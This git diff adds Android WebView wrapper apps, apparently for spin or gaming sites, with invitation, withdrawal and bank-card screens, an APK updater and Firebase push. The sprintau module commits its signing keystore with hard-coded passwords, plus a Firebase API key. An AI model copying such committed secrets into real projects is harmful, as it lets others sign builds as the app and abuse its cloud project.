b/spin44/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/drawable-xhdpi/ic_action_back.png b/spin44/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/spin44/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/spin44/src/main/res/drawable-xxhdpi/ic_action_back.png b/spin44/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/spin44/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/spin44/src/main/res/drawable/big_bg.xml b/spin44/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/spin44/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/spin44/src/main/res/drawable/ic_launcher_background.xml b/spin44/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/spin44/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/spin44/src/main/res/drawable/input_bg.xml b/spin44/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/spin44/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/spin44/src/main/res/drawable/pass_word_bg.xml b/spin44/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/spin44/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/spin44/src/main/res/drawable/pass_word_bg1.xml b/spin44/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/spin44/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/drawable/pass_word_bg2.xml b/spin44/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/spin44/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/drawable/shape_btn_bg.xml b/spin44/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/spin44/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/drawable/shape_dialog_bg2.xml b/spin44/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/spin44/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/drawable/shape_dialog_bg3.xml b/spin44/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/spin44/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/drawable/shape_dialog_bg_new.xml b/spin44/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/spin44/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/spin44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/spin44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/spin44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/spin44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/mipmap-hdpi/ic_empty.png b/spin44/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/spin44/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/spin44/src/main/res/mipmap-hdpi/ic_pull_down.png b/spin44/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/spin44/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/spin44/src/main/res/mipmap-xhdpi/ic_close.png b/spin44/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/spin44/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/spin44/src/main/res/mipmap-xhdpi/ic_menu.png b/spin44/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/spin44/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/spin44/src/main/res/mipmap-xxhdpi/app_logo.png b/spin44/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..e4b2855 Binary files /dev/null and b/spin44/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/spin44/src/main/res/values-en/strings.xml b/spin44/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/spin44/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/spin44/src/main/res/values-night/themes.xml b/spin44/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/spin44/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/values/colors.xml b/spin44/src/main/res/values/colors.xml new file mode 100644 index 0000000..872e978 --- /dev/null +++ b/spin44/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #fdfdfd + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/spin44/src/main/res/values/strings.xml b/spin44/src/main/res/values/strings.xml new file mode 100644 index 0000000..7c73b4a --- /dev/null +++ b/spin44/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + 44SPIN + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/values/themes.xml b/spin44/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/spin44/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/xml/app_updater_paths.xml b/spin44/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/spin44/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/spin44/src/main/res/xml/network_security_config.xml b/spin44/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/spin44/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/spin44/src/main/res/xml/provider_paths.xml b/spin44/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/spin44/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/spin44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/spin44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/spin44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/spinsini/release/cergas.apk b/spinsini/release/cergas.apk deleted file mode 100644 index 657a7f1..0000000 Binary files a/spinsini/release/cergas.apk and /dev/null differ diff --git a/spinsini/src/main/java/com/web/spinsini/MainActivity2.java b/spinsini/src/main/java/com/web/spinsini/MainActivity2.java index 74c3834..0ab7f95 100644 --- a/spinsini/src/main/java/com/web/spinsini/MainActivity2.java +++ b/spinsini/src/main/java/com/web/spinsini/MainActivity2.java @@ -10,6 +10,7 @@ import androidx.annotation.NonNull; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.Task; import com.google.firebase.messaging.FirebaseMessaging; +import com.web.base.LogUtils; import com.web.base.MainActivity; public class MainActivity2 extends com.web.base.MainActivity2 { @@ -31,6 +32,7 @@ public class MainActivity2 extends com.web.base.MainActivity2 { if (!task.isSuccessful()) { msg = "Subscribe failed"; } + LogUtils.i("注册:"+msg); } }); diff --git a/spinsini/src/main/res/values-en/strings.xml b/spinsini/src/main/res/values-en/strings.xml index 1983f39..eaebcc0 100644 --- a/spinsini/src/main/res/values-en/strings.xml +++ b/spinsini/src/main/res/values-en/strings.xml @@ -1,5 +1,5 @@ - Cergas + SpinSini Please Set Your Password Cancel Sure diff --git a/spinsini/src/main/res/values/strings.xml b/spinsini/src/main/res/values/strings.xml index 29e65d8..ca478a5 100644 --- a/spinsini/src/main/res/values/strings.xml +++ b/spinsini/src/main/res/values/strings.xml @@ -1,5 +1,5 @@ - Cergas + SpinSini 请输入6位密码 取消 确定 diff --git a/sprintau/.gitignore b/sprintau/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/sprintau/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/sprintau/build.gradle b/sprintau/build.gradle new file mode 100644 index 0000000..3478be8 --- /dev/null +++ b/sprintau/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.sprintau" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "sprintau" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/sprintau/google-services.json b/sprintau/google-services.json new file mode 100644 index 0000000..96192a8 --- /dev/null +++ b/sprintau/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "581860304556", + "project_id": "sprintau-3a172", + "storage_bucket": "sprintau-3a172.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:581860304556:android:96cec95e4d02e01a402109", + "android_client_info": { + "package_name": "com.web.sprintau" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyA0xNPFAd7s_vmJbi5eaRIFL2Cj0OxJtas" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/sprintau/ppn.jks b/sprintau/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/sprintau/ppn.jks differ diff --git a/sprintau/proguard-rules.pro b/sprintau/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/sprintau/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/sprintau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/sprintau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/sprintau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/sprintau/src/main/AndroidManifest.xml b/sprintau/src/main/AndroidManifest.xml new file mode 100644 index 0000000..3c9f5ca --- /dev/null +++ b/sprintau/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sprintau/src/main/java/com/web/sprintau/MainActivity.java b/sprintau/src/main/java/com/web/sprintau/MainActivity.java new file mode 100644 index 0000000..7f7dc30 --- /dev/null +++ b/sprintau/src/main/java/com/web/sprintau/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.sprintau; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 167; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://sprintau.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#592b11"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/sprintau/src/main/java/com/web/sprintau/MyFirebaseMessageingService.java b/sprintau/src/main/java/com/web/sprintau/MyFirebaseMessageingService.java new file mode 100644 index 0000000..2d6b012 --- /dev/null +++ b/sprintau/src/main/java/com/web/sprintau/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.sprintau; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/sprintau/src/main/java/com/web/sprintau/WebApplication.java b/sprintau/src/main/java/com/web/sprintau/WebApplication.java new file mode 100644 index 0000000..9b9496f --- /dev/null +++ b/sprintau/src/main/java/com/web/sprintau/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.sprintau; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/sprintau/src/main/res/drawable-anydpi/ic_action_back.xml b/sprintau/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/sprintau/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/sprintau/src/main/res/drawable-hdpi/ic_action_back.png b/sprintau/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/sprintau/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/sprintau/src/main/res/drawable-mdpi/ic_action_back.png b/sprintau/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/sprintau/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/sprintau/src/main/res/drawable-v24/ic_launcher_foreground.xml b/sprintau/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/sprintau/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/drawable-xhdpi/ic_action_back.png b/sprintau/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/sprintau/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/sprintau/src/main/res/drawable-xxhdpi/ic_action_back.png b/sprintau/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/sprintau/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/sprintau/src/main/res/drawable/big_bg.xml b/sprintau/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/sprintau/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/drawable/ic_launcher_background.xml b/sprintau/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/sprintau/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/sprintau/src/main/res/drawable/input_bg.xml b/sprintau/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/sprintau/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/sprintau/src/main/res/drawable/pass_word_bg.xml b/sprintau/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/sprintau/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/sprintau/src/main/res/drawable/pass_word_bg1.xml b/sprintau/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/sprintau/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/drawable/pass_word_bg2.xml b/sprintau/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/sprintau/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/drawable/shape_btn_bg.xml b/sprintau/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/sprintau/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/drawable/shape_dialog_bg2.xml b/sprintau/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/sprintau/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/drawable/shape_dialog_bg3.xml b/sprintau/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/sprintau/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/drawable/shape_dialog_bg_new.xml b/sprintau/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/sprintau/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sprintau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/sprintau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sprintau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git 